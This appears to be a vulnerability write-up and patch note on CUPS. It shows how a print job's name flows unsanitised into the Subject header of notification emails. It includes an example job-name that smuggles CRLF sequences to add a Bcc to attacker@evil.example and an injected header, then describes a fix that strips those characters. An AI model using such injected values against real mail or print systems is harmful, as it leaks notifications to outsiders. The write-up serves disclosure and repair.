Found while reading the notification path, tracing how event attributes end up on the wire.

job-name is an IPP name value chosen by whoever submits the print job. cupsNotifySubject() drops it straight into the subject text:

cups/notify.c:96
snprintf(buffer, sizeof(buffer), "%s %s-%d (%s) %s", prefix,
         printer_name->..., job_id->..., job_name->..., state);

email_message() then writes that subject into an RFC 5322 header field with CRLF line endings and no sanitising:

notifier/mailto.c:288
cupsFilePrintf(fp, "Subject: %s %s%s", mailtoSubject, subject, nl);

So a job submitted with

job-name = "report.pdf\r\nBcc: attacker@evil.example\r\nX-Injected: yes"

yields this on the SMTP stream:

Subject: ... Print Job: office-42 (report.pdf
Bcc: attacker@evil.example
X-Injected: yes) completed

The bare CR/LF start new header lines, so the printing user controls extra recipients and injected content in every notification mail. The recipient address and the reply-to value (decoded from notify-user-data) land in the To:/Sender:/Reply-To: headers by the same route.

Conclusion: the header writer must not emit a CR or LF inside a field value. The patch replaces them with spaces in the subject, recipient, and reply-to strings before they reach the cupsFilePrintf header lines. After it the whole job-name stays on the single Subject line.